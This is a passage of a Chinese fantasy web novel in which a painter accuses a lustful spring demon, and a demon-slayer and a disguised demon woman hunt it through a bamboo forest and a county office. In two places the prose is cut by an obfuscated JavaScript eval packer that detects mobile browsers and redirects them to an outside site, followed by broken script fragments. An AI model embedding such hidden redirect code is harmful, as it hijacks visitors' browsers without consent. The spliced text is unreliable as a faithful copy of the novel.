公堂之上,众人神色复杂。历来妖孽作乱并不会避开县衙。本县的大牢就被拆毁过。关在牢里的人犯,也曾遭到残忍肢解,鲜血流了一地。 真论起来,这里比其他地方更危险。 “胡闹!来人,把他轰出去!” 郁离趴在地上,连连磕头,“求大人开恩啊!” 师爷看他模样实在可怜,走到徐知县边上,小声道,“此人神志不清,显然被吓破了胆。不如让他在小室内暂歇一晚,免得出去乱走,更生事端。” 徐知县点点头,“也罢。今晚你就在此作画,来人,给他披件厚衣裳,别冻死了。” “多谢大人!大人深恩,郁离没齿难忘!” 酉时一过,县衙众人呼啦啦走个干净。师爷给他找来一件旧外袍和一些纸笔颜料。 郁离被锁在小室内,灌了一碗姜汤,身子总算暖和了些。他悲愤交加,酝酿许久,在宣纸上落下第一笔。 44. 不与离人遇(三) 次日一早,沈灵均提着剑匆匆赶来时,县衙众人正在传阅一幅长画卷,一边交头接耳,啧啧感叹。 画上有一衣衫半解、长发披散的美男子,正与一条巨蛇激斗。巨蛇半身直立,居高临下,张开血盆大口,男子掌心喷出一道水柱,直入巨蛇口中。 此图线条简洁,却十分传神,将男子张狂情态和巨蛇凶恶之姿跃然纸上,栩栩如生。 沈灵均问道,“作画者何人?” 衙役们忙把郁离带上来。“禀告沈大人,此人昨日来报官,自称在山上遇到两只妖,又不肯言明事情经过,便连夜作了此画。” 郁离一夜未睡,气色比昨日更糟,衙役一碰到他,他便惊恐地跳起来。 沈灵均道,“你把事情经过细细讲来。” “都……都在画上了。” “画中这两个都是妖?” 郁离重重点头。 沈灵均细看那半裸男子,除了身材较常人高大,并无特异之处。 “你怎知他是妖?” “他一看我,我就不能动弹了。” “他打了你?” 郁离面容扭曲,显然痛苦之极。“沈大人,别再问了,你快去把他抓起来,免得有更多人受害。” 沈灵均扫过他脸上身上的血迹,“可要送你去医馆?” 郁离连连摇头,“不必麻烦了。” 沈灵均观其神情,不光是惊恐害怕,更有一层羞愤难言之色,心下隐约猜到几分。 “郁公子,妖邪害人,必遭惩处,县衙一定会为你讨回公道。” 郁离见他不再刨根问底,松了口气。 “妖在何处?” “小仓山北坡,一片竹林之中。我可以带路!” 沈灵均随手把画卷递还给衙役,许小宝恰好站在一旁,凑过来瞧了一眼,大叫起来,“这不是月姐姐的新欢嘛!” 沈灵均一僵,“你说什么?!” 许小宝指着图画,“这男子和月姐姐同进同出,我撞见好几次了,她前阵子不是离开了南安县嘛,我们都以为这是她带回来的相好……” 他还要再说下去,看到沈灵均的脸色,慌忙住嘴。 公堂之上鸦雀无声。十几双眼睛都看着沈大人。 他一把夺回画卷,细看那男子,拳头越攥越紧,把画面边缘的竹子都扭歪了,眼中似乎要喷出火来。 “你见到他时,也是这般模样?” 许小宝讷讷道,“衣服比图上穿得齐整些……” 沈灵均冷哼一声,把画塞进郁离怀里,拉过他便走。 街上熙熙攘攘,路人见沈大人领着个衣衫不整的男子疾行而过,尽皆侧目。 过了朱雀大街,沿河走了一段,远远地望见望月桥。 郁离在后面跟得上气不接下气,“沈大人,去小仓山不是往这个方向。” “闭嘴。” 郁离暗暗纳罕,从前总听人说沈大人气质出尘,温文尔雅,没想到真人如此喜怒无常。 玉川岸边,柳树婆娑,两人过了桥,径直走向那所粉刷一新的宅院。 琳琅阁大门洞开,主人大方迎客。沈灵均长驱直入,跨过门槛,刚瞥见那八字照壁,就听到季月懒洋洋的声音。 “怎么这会儿才回来?” 沈灵均只觉得一股怒火直冲天灵盖。 她在等谁?她往常和旁人说话,哪有这么亲热?看来许小宝所言非虚,此处果然金屋藏妖! 他大声清了清嗓子。 扇形窗格一侧,露出季月的半张脸。 “原来是沈大人。” “季姑娘以为是谁?” “我以为……咦,你的脸色怎么如此难看?” 季月施施然从照壁后面走出,头发上沾了几片紫藤花瓣,有只蜜蜂围着她的脑袋一圈一圈地飞,她丝毫不以为意,也不驱赶,只看向郁离。 “这位公子是……?” 郁离平生从未见过如此美貌的姑娘,愣在当场。 沈灵均道,“季姑娘,你这琳琅阁,住了几人?” 季月狡黠地眨眨眼,“没住人呀。” 沈灵均夺过郁离怀中的画轴,在她眼前抖开。 画卷露出真容,季月“啊”了一声。这画上与蛇相斗的男子,不正是泉妖嘛。 “郁公子昨日上山,遇到画中二妖,特来向县衙举告。” 季月打量郁离,眉清目秀,却神情凄惨,头发散乱,脸上身上血迹斑斑,显然是遭了一番劫难。 昨日泉妖说看上一个良家少年郎,要去某地相候。然后便一夜未归。 看这情形,是苦主找上门来了。 季月脱口而出,“他调戏你啦?” 郁离痛彻心扉的遭遇被她一语道破,吓得张口结舌,泫然欲泣。 沈灵均气势汹汹,“你可曾见过此妖?” 季月随口道,“见过啊。他也调戏我来着。“ 沈灵均还未说话,郁离高喊一声,“什么?!” 如此弱质纤纤的美貌佳人,竟也遭了泉妖毒手! 她在人前强颜欢笑,背地里定是把眼泪都流干了。 他又惊又痛,慨然道,“季姑娘,你放心,今日所言之事,郁某绝不会对外说半个字。” “为何?” “此事天知地知你知我知。绝不会有人以此事为柄,逼迫、要挟,伤害于你。沈大人,你也会为季姑娘守密吧?” 沈灵均盯着季月,“这个么,要看她的表现。你跟我们一起上山,指认妖怪。” 郁离大惊,“不可!妖怪凶恶,季姑娘一个女子,怎能再次涉险?” “你有所不知,她胆色过人,不拘小节。” 季月奇道,“沈大人今日说话,怎么阴阳怪气的?” 沈灵均不答,目光如电,扫过琳琅阁。 不过是闭关修炼七日,外面就翻了天。看来往后得盯紧些,一步都放松不得。 郁离还在唠唠叨叨,劝季姑娘别去犯险,安心在家养伤。 季月莫名其妙,“养伤?我没受伤啊。” 郁离满腔同情,“女子遭此大难,身心皆受重创,自当好好休养才是。” “够了。”沈灵均不由分说,拉过他的胳膊,回头对季月冷冷道,“跟上。” 小仓山北坡人迹罕至,石阶不比南坡光滑,有许多凹凸断裂之处。 郁离自己走得熟了,不住口地提点季月。 “季姑娘,此处有些松动,别踩实了。” “季姑娘,那边有个水洼,小心绕开。” “季姑娘,前方有竹子倒伏 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“你放心,沈某就算是一介布衣,也会把本县的妖邪铲除干净。” 季月心中一动,隐隐有些不安。 竹林间突然刮起一阵狂风,风里夹杂着浓重的血腥味。沈灵均和季月对视一眼,不约而同地跳下石阶,钻进右边密林之中。 郁离大叫,“沈大人,等一等,作画石不是往这里走!季姑娘,林子里面危险,你千万不要想不开啊!” 沈灵均循着血腥味,在竹林间穿行。这一带地势陡峭,崎岖难行,不是脚下踩到竹笋,就是迎面有修竹拦路。再行一段,景象更是骇人,大片竹子从中断裂,向四面八方倒伏,没断的也被扭转方向。乱丛中有一大片平整的痕迹,像是被巨掌生生抹平的。泥土越来越湿,鞋子陷在里面,几乎拔不出来。低洼处的水坑里,喷出许多气泡。 头顶阴风惨惨,不时有崩塌之声,伴着地动山摇。他又行一段,猛然停步。前方水塘里,分明淌着鲜红的血,四周东倒西歪的竹子上,亦可见血迹斑斑。 他在竹身上摸了一把,放到鼻子底下闻了闻。 “季姑娘,你说这是妖血,还是蛇血?” 季月一路跟在后面,听他发问,想也不想,脱口而出,“自然是蛇血。” 泉妖周身都是水,哪来的血。 轰隆声越来越响,战场就在不远处。沈灵均拔出斩妖剑,默念口诀,一道白光挥出,前方大片竹子齐腰斩断,视野顿时开阔。 泉妖和巨蛇的身影终于出现。 那巨蛇足有二人高,蛇尾一卷,把一大丛竹子连根拔起,掷向泉妖。泉妖堪堪躲过,尖声大笑,放出水柱将巨蛇裹在里面。 巨蛇在水中无法呼吸,疯狂扭动身子,直扑向泉妖面门。 泉妖窜到竹子顶端躲避,一个不慎,脚被蛇牙咬到,疼得倒栽下去。 季月忍不住摇头叹息。 亏他在妖界修练了百余年,竟如此无用,和一条小蛇纠缠许久,打了一夜还未分出胜负。 沈灵均轻叱一声,加入战团。黑蛇绿竹中间,多了一道白衣身影。斩妖剑带着玄光,招招都向泉妖头上砍去。 45. 不与离人遇(四) 二十九式屠龙剑法依次使来,竹林里顿时风云变色,呼号阵阵。 泉妖躲过一轮凶险的剑招,凝目一看,怒吼,“又是你!” 上一回沈灵均放火烧他,又引雷劈他,记忆犹新。 如今又来碍事,放着小蛇不管,只围着自己痛打。 他把水柱收回,使全力攻向沈灵均。 巨蛇身上早就伤痕累累,忽然得了片刻喘息,一溜烟逃入密林。 季月远远看着沈大人斗妖,越看越是心惊。 沈灵均的本事,何时变得这么强了?前番雨中激战,借了雷火之力克制泉妖,还可说是取巧。现在他弃雷火不用,纯使剑招,是实打实的比拼法力。 泉妖好歹也修炼了数百年,对上他,竟讨不到丝毫便宜。 斩妖剑剑锋灵动,一股股劲力逼得水柱转而向上,徒劳地喷向天空,根本近不了身。 剑尖一个转圜,地上断竹飞跃而起,似离弦之箭扎向泉妖面门。区区水柱哪里挡得住这千钧之势,门户大开,竹节突入,削掉半只耳朵。 泉妖吃痛,合身扑上,沈灵均轻飘飘挽个剑花,一大片竹子飞起,把泉妖扎成了刺猬。 刺猬拼命扭动,挣脱不得,发出婴儿般的嚎哭。 季月扶额,这个没用的家伙,真是把妖界的脸都丢尽了。 她把手指放到唇边,呼哨一声。 湿润的泥土中,渐渐升起一片白雾,雾气弥漫开来,将半个山头笼罩其中。四下里白茫茫一片,伸手不见五指。 沈灵均明知是季月在捣鬼,更不耽搁,使了十分力,拍向泉妖刚才所在的方位。 这削金断玉的掌力使出去,蓬的一声,如中败絮。 泉妖咿咿呀呀的哭喊在雾中飞快远去,不过几息之间,就听不见了。 沈灵均飞到半空,俯瞰底下白雾,吹不开,拍不散,浓郁厚重,绵绵不尽,心下半是恼怒,半是无可奈何,也不得不佩服季月的手段。 季月拎着泉妖,往竹林最密的地方飞,绕了好几圈,料定沈灵均无法追踪,才把泉妖放下。 泉妖被掌风带到,当场便失去知觉,人形都维持不住,软成一滩水。 季月晃了他许久,也不见醒来,心一横,掏出铜镜,想把他硬塞回去。 没想到泉妖昏迷之后,根本扶不起来,稍一用力,水就从指缝间流走。 季月忙了半天,累得气喘吁吁,迫不得已,输了些妖气过去,才让泉妖的身体勉强凝聚。 手脚伸直了,媚态横生的脸也长出来了,他睁开蓝色双眸,哇地一声哭了出来。 “坏人打我!月季,你快去吃了他!” “活该,谁让你欺凌弱小?” “我何曾欺凌弱小?” “那画师都被你糟蹋成什么样子了?” “离公子?我对他是真心喜欢!” “人家可不喜欢你。” “胡说!若没有那条小蛇搅局,他早就从了我。” “你连一条小蛇都打不过,还是回去多修炼几年吧!” 季月默念口诀,然而铜镜刚刚绽出光芒,泉妖就嗖地一声,逃之夭夭。 孩童般清脆的声音响在竹林顶端。 “得不到离公子,我是不会走的。” 季月额头的青筋跳了跳。 她和泉妖比邻而居一百余年,知道他生性油滑,本事不大,偏爱惹是生非。只是妖界凶险非常,他谁也打不过,被迫收敛。一到了人间,便无法无天地胡闹。 他终归是她绑来的,总不能眼睁睁地看他被沈灵均打死。 沈灵均在雾中原地打坐许久,听到跌跌撞撞的脚步声靠近。郁离满头大汗,从白雾中现身。 “沈大人!终于找到你了。山上突然起了好大的雾啊。季姑娘呢?” 沈灵均没好气,“走丢了。” “啊!那我们赶紧去找!” “不必管她。等她玩累了,自己会回去的。” 郁离脸庞涨红,呼吸越来越粗重,终于忍无可忍,大喊道,“姑娘家受了这么大的打击,要是想不开,会出人命的!” 沈灵均吓了一跳。这痴痴呆呆的画师,又发什么疯? 郁离冲进白雾,一边扒开挡路的竹子,一边高喊,“季姑娘,你在哪里?” 沈灵均本可以感应妖气,确定季月的方位,但被这弥散的白雾干扰,一时想不出办法。见郁离不管不顾往林子里冲,只得先跟在后面。 郁离不住口地呼喊,到后来,声音里都带着哭腔。 沈灵均惊疑不定。郁离从前又不认识季月,为何对她的安危如此牵挂?难道仅仅见了一面,就无可救药地爱上了她? 走着走着,地上出现三尺宽的印记,中间竹子倒伏,似乎那蛇负伤逃走时,曾经过此处。 两人一路寻去,印记消失了一段,再次出现,折而向西。 妖力突然变强了。沈灵均扶住郁离的胳膊,“不用担心,她就在前面不远处。” 季月在山间信步乱走,眼看白雾散尽,突然背后一寒。 天光黯淡,竹林后头,有一双墨黑的眼睛,恶狠狠地盯着她。 “出来吧。” 竹叶沙沙作响。 “别逼我动手。” 黑影动了动。一个黑衣女子从竹林间现身。 她从头到脚裹得严严实实,只露出一双发亮的眼睛。衣服材质非棉非纱,斑驳的花纹和蛇身上的如出一辙。 季月打量她许久,微微偏过头,迷惑不解,“方才是你打的他?” 女子愤怒的声音隔着黑纱传来,喑哑难听,像是喉咙受过极重的伤,“你为何要救他?他行禽兽之举,人人得而诛之。” 季月眼睛一亮,“你护着那画画之人?有趣。” 背后传来杂乱的脚步声,和“季姑娘,你在哪儿”的喊声。 “他找来了,你要不要见见?” 黑衣女子一惊,身形闪动,脚不沾地地退回密林之中。 季月注意到她行动时的姿态,喃喃道,“有趣,当真有趣。” 郁离远远看到季月站在竹林之中,大喜过望,“季姑娘,你站在那里不要动,我们过来接你!” 季月依言站着不动。郁离跑了几步,脚下被竹笋一绊,仰面摔倒。 沈灵均揉了揉额角,把他搀起来。 郁离赶到季月身前,在她周身上下细细打量一番,确定没有伤痕,悬着的心终于放了下来,深吸一口气,唠叨开了。 “季姑娘,林中如此危险,又是迷障又是水坑,你怎么可以一个人乱跑呢?” 沈灵均道,“是啊,你形迹可疑,该不会是妖邪同党吧。” 郁离回头怒道,“沈大人!请你不要说话!” 沈、月皆是一怔。 “季姑娘,你心中伤痛,郁某略知一二。姑娘家把名节看得比天还大,经历了这样的事,难免想不开。” “我并没有想不开……” 郁离柔声道,“我自然晓得。这世上值得关心的事很多,值得看的美景更多,若是因为一场意外就全部舍弃,该是多么可惜啊。” 季月配合地点点头。 “其实他人的眼光又算得了什么呢?即使世人都毁你谤你,轻贱于你,也总有人敬你爱你,视你如珍宝,不忍心你受到一点伤害。” 郁离神色凄楚,完全沉浸在自己的思绪中。 “就算你的家人都舍弃了你,也不能自暴自弃。他们不能对你的痛苦感同身受,本就不配做你的家人。季姑娘,你有家人吗?” “没有。” “那,可有至交好友,亲近之人? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084252|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 季月想了想,指向沈灵均,“喏,就是他。” 沈灵均愣住了。 她竟把自己看作最亲近之人,这倒是个“惊喜”。 生了大半天的气,突然之间烟消云散。心中窃喜,嘴角忍不住上扬,整个人都有些飘飘然。 郁离却笑不出来,眼望沈灵均,回想他一路上疾言厉色的样子,更增忧心。这位沈大人,怕不是个好相处的。 “季姑娘,你这段时日,不要一个人呆着,多和……和这位沈大人待在一起。等事过境迁,会发现此时此刻的烦恼,根本算不了什么。名节清白,不过是浮云,天不会塌下来,活下去才是最重要的。” 季月本来耐着性子听着,暗自笑话这男人婆婆妈妈,听到此处,更觉奇怪。 “郁公子,你自己受伤不轻,怎么一个劲地关怀我?你可有什么至交好友?” 郁离脸色一变,低下头去,“我……有的。” “他现在何处?” “在……竹林山水之间。” 沈灵均微微皱眉,“罢了,今日让那妖逃脱,来日再撞见,必取其性命。郁公子,季姑娘,你们奔波了一路,早点回家休息吧。” 郁离叫道,“不,我不回家。妖孽尚未抓到,只有县衙是安全的。季姑娘,你一个人住,太危险了,不如也住到县衙,我们相互还有个照应!” 季月噗嗤一笑,“谁要住那个鬼地方。不如你住到我家,我保护你。” 沈灵均脸色大变。 郁离也吓了一跳,“季姑娘说笑了。我是男子,怎能……” 他说到一半,突然想到一事,偷眼去看季月。 姑娘家失了清白,正在凄然欲绝的时候,急需一个男子来拯救。若她真的属意自己,自当义不容辞,只要能救得一条性命,何必顾虑其他。 “好,我这就……” 沈灵均喝道,“闭嘴!郁公子,你住回自己家去,县衙岂是留宿之地?季姑娘,你若害怕,沈某可以在琳琅阁日夜守着,保证让那妖有来无回,死无全尸。” 季月和郁离齐声道,“不要!” 一个说,“不劳沈大人大驾。” 一个拼命摇头,“我不回家,不回家……” 沈灵均望着郁离,眉头打结。他坚决不肯回家,在县衙赖了一宿,家人竟也不闻不问,不知是亲情凉薄,还是另有隐情。 “此事没得商量。天不早了,跟我下山。” 郁离奔走了大半日,早就手脚酸软,起初为季月忧心,这会儿心里一放松,身上大大小小的伤口同时疼起来。沈灵均削了两根竹子,给他当拐杖用。 沈灵均领头,拨开乱竹,寻找出路。郁离撑着竹杖,仍旧唠唠叨叨。 “季姑娘,其实小仓山北坡原是个清净所在,远离尘嚣。等那恶妖落网了,你可以来此散心。” “季姑娘,你会不会骑马?听说骑在马背上飞驰,什么烦恼都抛在脑后了。” “沈大人,你武功盖世,要不要教季姑娘几招,这样她下次遇到危险,就能对付了。” 沈灵均起初还耐着性子,听到后来只觉得耳朵里嗡嗡乱响,好像有只蜜蜂飞了进去。 他不知不觉放慢脚步,与郁离拉开一段距离。 季月落在后面,低头沉思。 “沈大人,我不明白,被调戏了,为何要想不开?” “古语有云,饿死事小失节事大。恪守礼教的女子,宁死不可失了清白。” “礼教是什么?能吃吗?” 沈灵均看着她茫然的侧脸,童心忽起,伸指在那凝脂般的脸颊上捏了一下。 触到光滑肌肤的一瞬,如遭电击,酥酥麻麻的感觉顺着胳膊传遍全身。 季月一惊,狐疑地看向沈灵均。 他这是……偷袭? 46. 不与离人遇(五) 季月凝神打量,沈灵均眼中含笑,没有别的动作。脸上被碰到的地方不痛不痒,毫无异状。 她眯起眼睛,“你干什么?” “你不是问我,何为礼教么?恪守礼教的女子,若被男人摸了脸,非嫁他不可。” 季月大为意外。 沈灵均笑了笑,正要说,所谓礼教,不过是对人的束缚,不必太当真。 不料季月先嗔道,“那你又不能娶妻。” 他一愣,心中苦修多年筑成的坚冰,似被滚水浇透。 季月伸过手,依样画葫芦,在他脸上捏了一下,用的力气大了些,留下一道白印子。 他完全来不及反抗。 她拍手道,“这样就扯平啦。” 语气仍是一贯的调笑,眼睛却亮晶晶的,像天上的星星。 沈灵均摸着发烫的脸,说不出话来。 本想戏弄她,反被她戏弄了。 郁离的声音从前面传来,“你们在做什么?” 他刚才猛一回头,看到两人靠得甚近,动作亲昵,吓了一跳。 沈灵均这才把飞到天边的神思收回来,“没什么,快走吧。” 郁离停在原地,等他们过来。 他身后有一块巨大的原石,表面被打磨得光滑透亮,静静地躺在林间空地上。 沈灵均问,“这便是你遇到二妖的地方?” 郁离摩挲石面,神情凄苦,“我在此作画已有好多年了,没想到会发生这样的事。” “此处人迹罕至,往后为了安全起见,还是另寻他处作画吧。” “等……等那妖孽落网了,我还要回来的。这个地方,甚好……” 沈灵均见此人油盐不进,摇摇头,也不再劝。 季月环视四面竹影,若有所思。 等走到山下,已是暮色四合,郁离力邀季月去县衙躲一晚,沈灵均懒得与他多言,雇了辆马车,给车夫打赏了一两银子,吩咐他速速把这尊大佛送走。 马车远去,耳根终于清净。 季月打了个呵欠,“累了一天,我也要回去了。” “我跟你一起走。” “为何?” “护你周全。” 季月僵笑道,“我安全得很,不需要保护。” 泉妖现下受伤虚弱,若再被他撞见,恐怕小命难保。 沈灵均目光深沉,“你那屋子里,是不是藏了什么秘密?” “秘密自然是有的。你的府中,难道就没有秘密?” “沈某行事光明磊落,事无不可对人言。” “那你的书房门为什么总是锁着?里面可有什么通道?” 沈灵均立时警觉,“你打听这个做什么?” “随便问问咯。你不是说,事无不可对人言吗?” “……所以不能告诉你。” 季月没留意他话里的漏洞,无所谓地笑笑,“我们就各自守着各自的秘密吧。沈大人,回见。” 月牙儿悄悄爬上枝头,一个瘦弱的身影刚钻过县衙后门处篱笆的豁口,就被还没下值的师爷逮个正着。 “怎么又是你?!” 郁离头发散乱,可怜巴巴道,“求您了,放我进去吧!” “胡闹!昨晚已经为你破例,怎么还得寸进尺,被知县大人知道了,有你苦头吃的!” “那您把我下狱吧,挨板子也不怕!只有待在这里,我才能安心!” 师爷深觉不可思议,这清秀少年,受了一回惊吓,怎么就把脑子吓傻了呢。 郁离恳求,“沈大人今日已经把那恶妖打伤了。或许明日就能抓住它。就让我在这里再躲一晚,最后一晚!” 师爷叹了口气,徐知县今晚外出宴饮,明早想必不会出现。让这傻小子再呆一晚,料也无妨。 反正前一晚一切太平,无事发生。 “罢了,你还回那小室待着,明早我来给你开门。” “多谢大人!大恩大德,没齿难忘!” 师爷从后厨拿来几个冷馒头,郁离狼吞虎咽地吃了。 公堂后面的小室原本是用来堆杂物的,里面只有一张旧床榻和一方掉了漆的条案,简陋寒酸,连炭火都没有。郁离却觉得此处比家里还温馨。他把画卷在条案上摊开,点亮蜡烛,补了几笔。 图上泉妖的面庞更加狰狞,巨蛇尖牙刺出,凶残可怕。 烛影摇曳,郁离盯着画卷,眼皮越来越沉,画笔从手中脱落,身子渐渐歪倒在桌上,昏睡过去。 春夜之中,远远传来几声蛙鸣,白日里下过小雨,空气潮湿而温暖,隐藏着某种躁动不安的气息。 小室唯一的窗户正对着院墙,外面是浓稠的黑暗。蓦地,黑暗被搅动了,一个修长的身影无声地从窗边滑过。 门锁自己打开了。桌上的蜡烛明明已经燃尽,却凭空亮了起来,柔光洒满小室。 郁离眼皮动了动。 柔夷覆上额头,撩开几缕打结的碎发,温热掌心贴在脸颊伤口上。 郁离浑身一震,醒了过来。 眼前的女子一身黑衣,面容姣好,目光中满是柔情,丹唇微启,轻轻唤道,“离公子。” 郁离犹似身在梦中,如饥似渴地盯着她的面容,生怕一眨眼,她就会消失不见。 她的模样和从前分毫不差,光洁的额头没有伤痕,饱满的嘴唇没有破碎,眼中盛的不是血泪,而是盈盈笑意,和他千万次梦魇中所见截然不同。 郁离喉头发干,念出她的名字,“冰洁……” 女子笑得愈发欢喜,“是我,我来找你了。” 郁离发出一声野兽般的哀号,一把抱住对方,嚎啕大哭。眼泪鼻涕横流,把她腰间衣服沾湿了一大片。 “都是我的错!是我没有护你周全,我对不起你……” 女子轻抚他头顶,好言安慰,“别哭了。我不是好好地在这儿吗。” 郁离却哭个不止,浑身颤抖,两只眼睛肿得像桃子一般。 女子似乎不耐烦了,握住他的手,猛地贴上自己胸口。 郁离触到一件异常柔软温热的东西,“啊”的一声,惊跳起来。 女子双手一分,裂帛声响,黑衣似蝴蝶般翩然落地。 雪白身躯袒露在温柔烛光下。 郁离双眼发直,不敢动弹。 “离公子,还不快来。” 见郁离仍没有动作,女子把手伸向背后,只要再解开一个结,遮住肌肤的最后一件小衣也会脱落。 郁离浑身如在火中煎熬,头脑中却蓦然闪过一丝清明。 “住手!” 女子柔媚的笑容僵住了。 “你……你不是冰洁。她绝不会做出如此形容!” “哦?你不就喜欢这个样子吗?” 郁离捂住脸,“她早死了!你怎么乔装都不会像她的!你是……你是那只恶妖!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084253|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子扑上来,强行扳过他的下巴,“何必说许多废话?只要是你喜欢的样子,不就行了吗?” 她用双唇强行撬开郁离的嘴,滑溜溜的舌头伸了进去,郁离又惊又怒,发狠一口咬下。 嘴里喷出一小股清泉。女子吃痛,面容扭曲,龇牙咧嘴。眼珠变幻几息,终于呈现出本来颜色:澄澈透亮的蓝。 杨冰洁的假面,彻底崩塌。 郁离不知哪里来的勇气,抄起烛台,向泉妖扔去。 烛火瞬间引燃黑衣,蔓延到全身,延烧到床榻上,被褥、床帐,全部着火,小室之内顿时热得如同蒸笼。 泉妖全身被大火焚烧,却岿然挺立,郁离自知无幸,嘶声喊道,“郁离今日能与妖邪同归于尽,何其快哉!” 泉妖突然迈开步子,向他走来。 郁离惊慌后退,后腰磕在条案一角,疼得眼冒金星。 泉妖那火焰笼罩的脸上,流出一滴巨大的泪,穿过火舌,嗤地一声,落到地上。 火中传来一声孩子般委屈的哭喊,“你就这么讨厌我?” 郁离大声尖叫。 大火瞬间熄灭。泉妖恢复成本来面目,完好无损地站在他眼前,蓝眼睛里,泪光盈盈。 郁离再也承受不住,两眼一翻,晕了过去。 他明明向后倒去,一双有力的大手却适时揽住他的腰。 泉妖俯视那张饱受摧残的脸庞,蛮横地吼道,“今晚无论如何,都要顺了我的意!” 砰,一股劲风吹开窗户,卷住泉妖,任凭它双臂齐挥,狂呼乱喊,还是被带了出去,狠狠摔在院中。 风势合拢,凝聚成形。 季月现身,朝小室内看了一眼,骂道,“看你干的好事。” 泉妖哇哇大哭,声震云霄,“为什么?为什么他不喜欢我?” “不喜欢就是不喜欢。你就行行好,放过他吧。” “不要!不要!” “别喊了!小心把捉妖师召来!” “怕什么?你替我吃了他就好了!” “我不会吃他的。” 泉妖大怒,“连你都不帮我!坏月季!坏月季!” 他声音太响,终于惊动了人。一道亮光照在地上,监牢的大门打开了,牢头提着一盏灯,探出脑袋查看。 季月一恍神,泉妖一跃而起,化作一道水流,又扑进小室。 水流在斗室内转了一圈,把地板、墙壁浇得湿透。可怜那些家具方遭火焚,又遇水厄,毁得不成样子。 郁离倒在地上,被水流来回冲刷,仍然昏迷不醒。 条案上的画卷浸了水,墨迹洇开,糊成一团。 水流冲出门,扑向公堂,在明镜高悬的匾额下方转了一圈,又穿回院中,正面打在牢头脸上。 牢头口鼻里灌满了水,登时窒息,咚地一声倒在地上,后脑鼓起一个大包。 水流冲向季月,在她脸面前三寸之处生生停住,不再往前。 季月拿出铜镜,厉声道,“你给我回去。” 水流转而向上,直冲九天,季月飞身紧追其后。水流在树梢间蹦跳几下,划出一道长长的弧线,越过数排屋舍,扑进玉川之中。 掀起的大浪把河堤都冲得晃了晃。 季月站到岸边,凝目看向河流。 泉妖入了水,再想把它揪出来可没那么容易。 这奔流不息,滋养一方的玉川,倒成了它的庇护所。 47. 不与离人遇(六) 郁离是被一盆冷水泼醒的。 他刚恢复意识,就感到浑身上下都在疼。眼睛前面好像罩了一层布,看出去模模糊糊的。 他拼命眨了几下眼睛,依稀辨认出前面有张高高的桌子,桌子后头坐着个怒目而视的判官。左右两边各站一人,一穿白衣,一穿黑衣。 他顿悟,这里必定是阴曹地府,台上坐着的是阎罗王,两边就是黑白无常了。只是没见到刀山火海和油锅。 自己遭那恶妖折磨,终究没能逃过一劫,被他害了性命。 心里难过了一阵,又有些释然。 他勉强撑起身子,拱手道,“阎王老爷在上,小人生年二十有八,虚度年华,虽无恶迹,亦无功德。今朝魂归地府,不敢有丝毫怨言,只求向阎王老爷打听一位故人的下落。” 徐知县做梦也想不到,自己坐在公堂之上,竟会听到这样的混账话,气得额头青筋乱跳,一把抓起签子筒扔了下去。 “你这胡言乱语的小贼,来人,给我狠狠地打!” 签子散落一地。两边衙役扑上来,将郁离按住,举起板子,劈劈啪啪打下。 郁离身板瘦弱,哪里受得了这样殴打,才挨了三下,便痛晕过去,鲜血顺着大腿流了一地。 徐知县喝,“停手!想一死了之,没有那么容易。把他弄醒。” 又一盆凉水泼来,郁离浑身哆嗦着,睁开眼睛。 这回看得清楚些了,那阎罗王和黑白无常的面容,似乎都有些眼熟。 阎罗王倾身向前,“你为何火烧县衙,从实招来!” 郁离一个激灵,“禀告阎王老爷,小人绝不敢做这等事,定是那恶妖所为!” 阎罗王看起来气急败坏,又要扔什么东西下来,被白无常拦住了。 他低声对阎罗王说了几句话,郁离离得远,只依稀听出“神智不清”、“惊吓过度”云云。 阎罗王深深吸了口气,“恶妖如何袭击的你,给我从头到尾,一五一十地说来。” 郁离灵机一动,“阎王老爷神通广大,必能派兵去到阳间,将那恶妖制服。它前天出现在竹林中,向我发难。昨晚又……又幻化成一位故人的模样,试图引诱我。” “引诱你做什么?” “这……阎王老爷无所不知,又何必……何必要我亲口说呢?” 台上那阎罗王看起来更生气了,吹胡子瞪眼睛。 白无常接过话头,“恶妖引诱你不成,为何要焚毁屋子?” 郁离一怔,低头沉思,昨天晚上的记忆渐渐清晰起来,心中猛地一跳。 那火,好像真的是他点的。 “我掷出烛台,本想袭击那恶妖,不料引燃了床帐。” 阎罗王道,“好啊,终于承认了!” 白无常似乎在为他求情,“当时情况危急,郁公子为求自保,虽然情有可原,但罪责难逃,不如让他赔偿县衙的损失。万幸大火只烧毁了屋子,没有烧到人。” 郁离忙道,“是啊,县衙里都是好人。昨晚是师爷好心收留,还给了我两个馒头呢。” 站在左首的黑无常突然浑身一僵,往前冲了两步,颤抖的手指着他,半天说不出话。 阎罗王将一块很重的木头往桌子上一拍,“看看你干的好事!” 黑无常缩起脖子,低头哈腰,连连赔罪。 “罚去半年薪俸,以儆效尤。” 黑无常垂头丧气地退了下去。 郁离直到此刻,还没意识到事情不对劲,梗着脖子四处打量,“阎王老爷,您这阎罗殿,和凡间县衙的公堂,倒有些相似之处。” 阎王爷冷笑一声,“你倒说说,哪里相似?” 